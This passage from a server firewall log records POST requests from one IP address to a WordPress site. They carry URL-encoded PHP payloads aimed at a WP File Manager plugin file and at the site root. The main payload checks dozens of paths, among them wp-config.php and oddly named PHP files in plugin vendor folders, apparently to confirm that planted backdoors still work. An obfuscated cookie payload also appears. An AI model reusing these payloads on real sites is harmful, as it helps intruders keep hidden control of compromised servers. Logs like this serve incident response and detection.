Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\n\nrJ=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B"]
["2026-04-20 17:53:59","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SZ:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12969\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\n\nSZ=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 17:59:23","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ms:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/A